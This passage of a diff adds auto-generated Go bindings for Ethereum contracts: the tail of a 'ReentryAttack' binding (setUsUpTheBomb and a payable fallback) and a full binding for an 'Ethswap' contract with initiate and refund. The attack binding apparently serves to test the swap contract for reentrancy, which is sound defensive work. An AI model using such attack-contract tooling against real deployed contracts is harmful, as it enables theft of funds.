SetUsUpTheBomb(es common.Address, sh [32]byte, refundTimestamp *big.Int, participant common.Address) (*types.Transaction, error) { + return _ReentryAttack.Contract.SetUsUpTheBomb(&_ReentryAttack.TransactOpts, es, sh, refundTimestamp, participant) +} + +// SetUsUpTheBomb is a paid mutator transaction binding the contract method 0xb9ce28a4. +// +// Solidity: function setUsUpTheBomb(address es, bytes32 sh, uint256 refundTimestamp, address participant) payable returns() +func (_ReentryAttack *ReentryAttackTransactorSession) SetUsUpTheBomb(es common.Address, sh [32]byte, refundTimestamp *big.Int, participant common.Address) (*types.Transaction, error) { + return _ReentryAttack.Contract.SetUsUpTheBomb(&_ReentryAttack.TransactOpts, es, sh, refundTimestamp, participant) +} + +// Fallback is a paid mutator transaction binding the contract fallback function. +// +// Solidity: fallback() payable returns() +func (_ReentryAttack *ReentryAttackTransactor) Fallback(opts *bind.TransactOpts, calldata []byte) (*types.Transaction, error) { + return _ReentryAttack.contract.RawTransact(opts, calldata) +} + +// Fallback is a paid mutator transaction binding the contract fallback function. +// +// Solidity: fallback() payable returns() +func (_ReentryAttack *ReentryAttackSession) Fallback(calldata []byte) (*types.Transaction, error) { + return _ReentryAttack.Contract.Fallback(&_ReentryAttack.TransactOpts, calldata) +} + +// Fallback is a paid mutator transaction binding the contract fallback function. +// +// Solidity: fallback() payable returns() +func (_ReentryAttack *ReentryAttackTransactorSession) Fallback(calldata []byte) (*types.Transaction, error) { + return _ReentryAttack.Contract.Fallback(&_ReentryAttack.TransactOpts, calldata) +} + +// EthswapABI is the input ABI used to generate the binding from. +const EthswapABI = "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"refundTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"}],\"name\":\"initiate\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"refund\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]" + +// EthswapFuncSigs maps the 4-byte function signature to its string representation. +var EthswapFuncSigs = map[string]string{ + "ae052147": "initiate(uint256,bytes32,address)", + "7249fbb6": "refund(bytes32)", +} + +// Ethswap is an auto generated Go binding around an Ethereum contract. +type Ethswap struct { + EthswapCaller // Read-only binding to the contract + EthswapTransactor // Write-only binding to the contract + EthswapFilterer // Log filterer for contract events +} + +// EthswapCaller is an auto generated read-only Go binding around an Ethereum contract. +type EthswapCaller struct { + contract *bind.BoundContract // Generic contract wrapper for the low level calls +} + +// EthswapTransactor is an auto generated write-only Go binding around an Ethereum contract. +type EthswapTransactor struct { + contract *bind.BoundContract // Generic contract wrapper for the low level calls +} + +// EthswapFilterer is an auto generated log filtering Go binding around an Ethereum contract events. +type EthswapFilterer struct { + contract *bind.BoundContract // Generic contract wrapper for the low level calls +} + +// EthswapSession is an auto generated Go binding around an Ethereum contract, +// with pre-set call and transact options. +type EthswapSession struct { + Contract *Ethswap // Generic contract binding to set the session for + CallOpts bind.CallOpts // Call options to use throughout this session + TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session +} + +// EthswapCallerSession is an auto generated read-only Go binding around an Ethereum contract, +// with pre-set call options. +type EthswapCallerSession struct { + Contract *EthswapCaller // Generic contract caller binding to set the session for + CallOpts bind.CallOpts // Call options to use throughout this session +} + +// EthswapTransactorSession is an auto generated write-only Go binding around an Ethereum contract, +// with pre-set transact options. +type EthswapTransactorSession struct { + Contract *EthswapTransactor // Generic contract transactor binding to set the session for + TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session +} + +// EthswapRaw is an auto generated low-level Go binding around an Ethereum contract. +type EthswapRaw struct { + Contract *Ethswap // Generic contract binding to access the raw methods on +} + +// EthswapCallerRaw is an auto generated low-level read-only Go binding around an Ethereum contract. +type EthswapCallerRaw struct { + Contract *EthswapCaller // Generic read-only contract binding to access the raw methods on +} + +// EthswapTransactorRaw is an auto generated low-level write-only Go binding around an Ethereum contract. +type EthswapTransactorRaw struct { + Contract *EthswapTransactor // Generic write-only contract binding to access the raw methods on +} + +// NewEthswap creates a new instance of Ethswap, bound to a specific deployed contract. +func NewEthswap(address common.Address, backend bind.ContractBackend) (*Ethswap, error) { + contract, err := bindEthswap(address, backend, backend, backend) + if err != nil { + return nil, err + } + return &Ethswap{EthswapCaller: EthswapCaller{contract: contract}, EthswapTransactor: EthswapTransactor{contract: contract}, EthswapFilterer: EthswapFilterer{contract: contract}}, nil +} + +// NewEthswapCaller creates a new read-only instance of Ethswap, bound to a specific deployed contract. +func NewEthswapCaller(address common.Address, caller bind.ContractCaller) (*EthswapCaller, error) { + contract, err := bindEthswap(address, caller, nil, nil) + if err != nil { + return nil, err + } + return &EthswapCaller{contract: contract}, nil +} + +// NewEthswapTransactor creates a new write-only instance of Ethswap, bound to a specific deployed contract. +func NewEthswapTransactor(address common.Address, transactor bind.ContractTransactor) (*EthswapTransactor, error) { + contract, err := bindEthswap(address, nil, transactor, nil) + if err != nil { + return nil, err + } + return &EthswapTransactor{contract: contract}, nil +} + +// NewEthswapFilterer creates a new log filterer instance of Ethswap, bound to a specific deployed contract. +func NewEthswapFilterer(address common.Address, filterer bind.ContractFilterer) (*EthswapFilterer, error) { + contract, err := bindEthswap(address, nil, nil, filterer) + if err != nil { + return nil, err + } + return &EthswapFilterer{contract: contract}, nil +} + +// bindEthswap binds a generic wrapper to an already deployed contract. +func bindEthswap(address common.Address, caller bind.ContractCaller, transactor bind.ContractTransactor, filterer bind.ContractFilterer) (*bind.BoundContract, error) { + parsed, err := abi.JSON(strings.NewReader(EthswapABI)) + if err != nil { + return nil, err + } + return bind.NewBoundContract(address, parsed, caller, transactor, filterer), nil +} + +// Call invokes the (constant) contract method with params as input values and +// sets the output to result. The result type might be a single field for simple +// returns, a slice of interfaces for anonymous returns and a struct for named +// returns. +func (_Ethswap *EthswapRaw) Call(opts *bind.CallOpts, result *[]interface{}, method string, params ...interface{}) error { + return _Ethswap.Contract.EthswapCaller.contract.Call(opts, result, method, params...) +} + +// Transfer initiates a plain transaction to move funds to the contract, calling +// its default method if one is available. +func (_Ethswap *EthswapRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { + return _Ethswap.Contract.EthswapTransactor.contract.Transfer(opts) +} + +// Transact invokes the (paid) contract method with params as input values. +func (_Ethswap *EthswapRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { + return _Ethswap.Contract.EthswapTransactor.contract.Transact(opts, method, params...) +} + +// Call invokes the (constant) contract method with params as input values and +// sets the output to result. The result type might be a single field for simple +// returns, a slice of interfaces for anonymous returns and a struct for named +// returns. +func (_Ethswap *EthswapCallerRaw) Call(opts *bind.CallOpts, result *[]interface{}, method string, params ...interface{}) error { + return _Ethswap.Contract.contract.Call(opts, result, method, params...) +} + +// Transfer initiates a plain transaction to move funds to the contract, calling +// its default method if one is available. +func (_Ethswap *EthswapTransactorRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { + return _Ethswap.Contract.contract.Transfer(opts) +} + +// Transact invokes the (paid) contract method with params as input values. +func (_Ethswap *EthswapTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { + return _Ethswap.Contract.contract.Transact(opts, method, params...) +} + +// Initiate is a paid mutator transaction binding the contract method 0xae052147. +// +// Solidity: function initiate(uint256 refundTimestamp, bytes32 secretHash, address participant) payable returns() +func (_Ethswap *EthswapTransactor) Initiate(opts *bind.TransactOpts, refundTimestamp *big.Int, secretHash [32]byte, participant common.Address) (*types.Transaction, error) { + return _Ethswap.contract.Transact(opts, "initiate", refundTimestamp, secretHash, participant) +} + +// Initiate is a paid mutator transaction binding the contract method 0xae052147. +// +// Solidity: function initiate(uint256 refundTimestamp, bytes32 secretHash, address participant) payable returns() +func (_Ethswap *EthswapSession) Initiate(refundTimestamp *big.Int, secretHash [32]byte, participant common.Address) (*types.Transaction, error) { + return _Ethswap.Contract.Initiate(&_Ethswap.TransactOpts, refundTimestamp, secretHash, participant) +} + +// Initiate is a paid mutator transaction binding the contract method 0xae052147. +// +// Solidity: function initiate(uint256 refundTimestamp, bytes32 secretHash, address participant) payable returns() +func (_Ethswap *EthswapTransactorSession) Initiate(refundTimestamp *big.Int, secretHash [32]byte, participant common.Address) (*types.Transaction, error) { + return _Ethswap.Contract.Initiate(&_Ethswap.TransactOpts, refundTimestamp, secretHash, participant) +} + +// Refund is a paid mutator transaction binding the contract method 0x7249fbb6. +// +// Solidity: function refund(bytes32 secretHash) returns() +func (_Ethswap *EthswapTransactor) Refund(opts *bind.TransactOpts, secretHash [32]byte) (*types.Transaction, error) { + return _Ethswap.contract.Transact(opts, "refund", secretHash) +} + +// Refund is a paid mutator transaction binding the contract method 0x7249fbb6. +// +// Solidity: function refund(bytes32 secretHash) returns() +func (_Ethswap *EthswapSession) Refund(secretHash [32]byte) (*types.Transaction, error) { + return _Ethswap.Contract.Refund(&_Ethswap.TransactOpts, secretHash) +} + +// Refund is a paid mutator transaction binding the contract method 0x7249fbb6. +// +// Solidity: function refund(bytes32 secretHash) returns() +func (_Ethswap *EthswapTransactorSession) Refund(secretHash [32]byte) (*types.Transaction, error) { + return _Ethswap.Contract.Refund(&_Ethswap.TransactOpts, secretHash) +}